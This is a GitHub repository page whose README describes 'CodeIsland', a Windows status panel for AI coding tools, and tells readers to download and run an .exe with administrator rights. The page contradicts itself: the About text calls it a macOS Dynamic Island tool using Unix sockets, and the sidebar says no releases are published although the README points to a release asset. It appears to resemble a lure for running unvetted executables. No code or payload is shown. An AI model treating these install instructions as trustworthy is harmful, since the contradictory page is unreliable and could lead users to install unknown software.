Skip to content

fourierseriesoldprussian565/CodeIsland

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 

Repository files navigation

🏝️ CodeIsland - Monitor AI coding status with ease

Download CodeIsland

CodeIsland sits at the top of your screen. It provides a status display for your AI coding tools. You see exactly what your computer does without switching windows. It replaces guesswork with clear status updates. You track tasks, permissions, and tool calls in one spot.

πŸ“₯ Getting Started

Follow these steps to install the software on your Windows computer.

  1. Go to the official release page.
  2. Look for the Assets section at the bottom of the latest release.
  3. Select the file ending in .exe.
  4. Click the file to start the download.
  5. Save the file to your desktop or downloads folder.
  6. Double-click the file to begin the installation.
  7. Follow the prompts on your screen to finish the setup process.

βš™οΈ Settings and Configuration

The application runs quietly in the background. You access settings by clicking the icon in your system tray. The system tray is the group of small icons near your clock. Right-click the small CodeIsland logo to open the menu.

You can change these options:

  • Startup: Choose if the app starts when you log in.
  • Theme: Pick between light and dark modes to match your display.
  • Opacity: Adjust how transparent the panel looks on your screen.
  • Updates: Set the app to check for new versions automatically.

πŸ› οΈ Supported AI Tools

CodeIsland connects to your existing software. It works with common AI engines. You do not need to move your files or change your code. The app detects these tools automatically:

  • Claude Desktop
  • Cursor
  • Windsurf
  • Zed
  • VS Code
  • GitHub Copilot
  • Cline
  • Roo Code
  • Composer
  • Cursor Chat
  • Terminal Agents

πŸ“‹ Understanding the Display

The panel shows icons and text. Each part has a meaning.

  • Color Coded Bars: These show if the AI is active, idle, or needs your input. Green means working. Yellow means waiting for your choice. Red means a connection error.
  • Process List: A scrollable list shows the active AI agents.
  • Permission Requests: Blue notifications pop up when an agent wants access to a file. You can allow or deny these from the panel.

πŸ’» System Requirements

This software works on all modern Windows systems.

  • Operating System: Windows 10 or Windows 11.
  • Memory: 2GB of free RAM is enough for smooth performance.
  • Storage: 100MB of disk space for installation.
  • Permissions: You need administrator rights to install the application.

❓ Troubleshooting Common Issues

Use these steps if the app does not show your AI tools.

  • Restart the application: Close the app from the system tray and open it again.
  • Check tool paths: Make sure your coding tools are running before you start CodeIsland.
  • Update your tools: Older versions of coding apps might not send the right status signals. Check for updates for your specific editor.
  • Check the logs: If issues persist, go to the Help menu and select View Logs. The logs show the specific error codes causing the disconnect.

πŸ›‘οΈ Privacy and Data

Your data stays on your machine. CodeIsland does not send your code or your chat history to any server. It only reads the status signals sent by your coding tools to the local system memory. No personal data leaves your device. This ensures your intellectual property remains under your control.

🀝 Getting More Help

The community provides guides for complex setups. You can browse the issues tab on GitHub to see if others had the same question. Open a new issue if you find a bug. Provide a screenshot and a description of your steps. Clear reports help developers fix things faster.

About

Monitor your AI coding agent status in the macOS Dynamic Island with real-time updates for eleven supported tools using Unix socket IPC.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors